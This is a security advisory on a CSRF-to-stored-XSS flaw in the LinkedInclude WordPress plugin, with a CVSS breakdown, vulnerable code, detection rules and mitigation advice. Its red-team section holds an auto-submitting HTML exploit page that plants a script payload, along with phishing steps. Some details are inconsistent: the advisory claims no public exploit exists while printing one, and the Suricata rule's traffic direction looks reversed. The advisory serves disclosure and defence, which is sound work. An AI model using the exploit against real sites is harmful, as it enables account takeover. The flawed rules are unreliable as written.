CVE-2025-57918

Executive Summary

CVE-2025-57918 is a Cross-Site Request Forgery (CSRF) vulnerability in the ERA404 LinkedInclude WordPress plugin, affecting versions up to and including 3.0.4. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious scripts. The CSRF vulnerability is further chained with Stored Cross-Site Scripting (XSS), enabling persistent payload execution that can compromise site visitors and steal session data. The vendor has not released a patch, and no public exploit code is available, but the risk is elevated due to the widespread use of WordPress.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed LinkedInclude from the WordPress dashboard or via direct download are affected. No package manager (NPM, PyPI, Go, Ruby) is involved, but the plugin’s update mechanism is critical. Since no patch exists, users must manually remove or disable the plugin to mitigate risk.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link
• Scope: Changed (S:C) – CSRF can impact other components
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High. Although user interaction is required, the combination of CSRF and Stored XSS allows persistent compromise of the WordPress admin panel and visitor browsers.

Deep Dive & Mechanics

The vulnerability exists in the LinkedInclude plugin’s settings page, which lacks CSRF tokens. An attacker can craft a malicious HTML page that, when visited by an authenticated WordPress admin, submits a forged request to modify plugin options (e.g., injecting JavaScript into the LinkedIn badge configuration). The injected script is stored in the database and executed on every page load, leading to Stored XSS.

Attack Flow:

1. Attacker hosts a malicious page with a hidden form or image tag targeting the plugin’s settings endpoint.
2. Victim (admin) visits the page while logged into WordPress.
3. The browser sends a forged POST request to /wp-admin/options-general.php?page=linkedinclude with malicious payload.
4. The plugin saves the payload without sanitization.
5. On subsequent visits, the payload executes in the admin’s browser, allowing session hijacking, defacement, or malware distribution.

Vulnerable vs. Patched Code

Vulnerable Code (linkedinclude.php, <= 3.0.4):

// No CSRF check
if (isset($_POST['linkedin_username'])) {
    update_option('linkedin_username', $_POST['linkedin_username']);
}

Patched Code (Hypothetical):

// Add nonce verification
if (isset($_POST['linkedin_username']) && wp_verify_nonce($_POST['_wpnonce'], 'linkedinclude_settings')) {
    update_option('linkedin_username', sanitize_text_field($_POST['linkedin_username']));
}

The vulnerable code lacks both CSRF nonce and input sanitization, enabling the attack chain.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress instance with LinkedInclude <= 3.0.4
• Admin user logged in
• Attacker-controlled web server

Exploit HTML (csrf_exploit.html):

<html>
<body>
<form action="http://target/wp-admin/options-general.php?page=linkedinclude" method="POST" id="csrf">
    <input type="hidden" name="linkedin_username" value="<script>alert('XSS')</script>">
    <input type="submit" value="Click me">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Steps:

1. Host the HTML on attacker server.
2. Send phishing link to admin.
3. Admin visits link → CSRF triggers → Stored XSS payload saved.
4. Payload executes on admin dashboard.

Blue Team (Defense & Detection)

Detection:

• Monitor for unexpected POST requests to /wp-admin/options-general.php?page=linkedinclude without a valid _wpnonce parameter.
• Look for script tags in linkedin_username option value.

Mitigation:

• Disable or remove the plugin immediately.
• Implement Web Application Firewall (WAF) rules to block CSRF-like patterns.
• Enforce strict Content Security Policy (CSP) to prevent inline script execution.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/linkedinclude/linkedinclude.php (version <= 3.0.4)
• Database Option: linkedin_username containing <script> tags or obfuscated JavaScript
• Network: POST requests to /wp-admin/options-general.php?page=linkedinclude without _wpnonce
• Logs: WordPress debug log entries showing unexpected option updates

Detection Engineering

YARA Rule

rule CVE_2025_57918_LinkedInclude_CSRF {
    meta:
        description = "Detects vulnerable LinkedInclude plugin files"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-57918"
    strings:
        $vuln_func = "update_option('linkedin_username'" nocase
        $no_nonce = "wp_verify_nonce" nocase
    condition:
        $vuln_func and not $no_nonce
}

Sigma Rule

title: CVE-2025-57918 CSRF to Stored XSS in LinkedInclude
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects CSRF attempts targeting LinkedInclude plugin settings
logsource:
    category: web
    product: wordpress
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/options-general.php?page=linkedinclude'
        cs-referer|re: '^(?!.*target\.com).*$'  # External referer
    condition: selection
falsepositives:
    - Legitimate admin actions from same origin
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-57918 LinkedInclude CSRF Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/wp-admin/options-general.php"; content:"page=linkedinclude"; distance:0; http.referer; content:!"target\.com"; pcre:"/linkedin_username=[^&]*<script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the LinkedInclude plugin from all WordPress installations.
2. Audit the linkedin_username option in the database for malicious content.
3. Rotate all admin session cookies and API keys.

Long-Term Fixes:

• Vendor must release a patched version with CSRF nonces and input sanitization.
• Users should implement a Web Application Firewall (WAF) with CSRF protection rules.
• Enforce Content Security Policy (CSP) headers to block inline scripts.

Workarounds:

• Use a security plugin (e.g., Wordfence) to add CSRF tokens to all admin forms.
• Restrict admin access to trusted IPs only.

Valters IT
DevSecOps & Cyber Threat Intelligence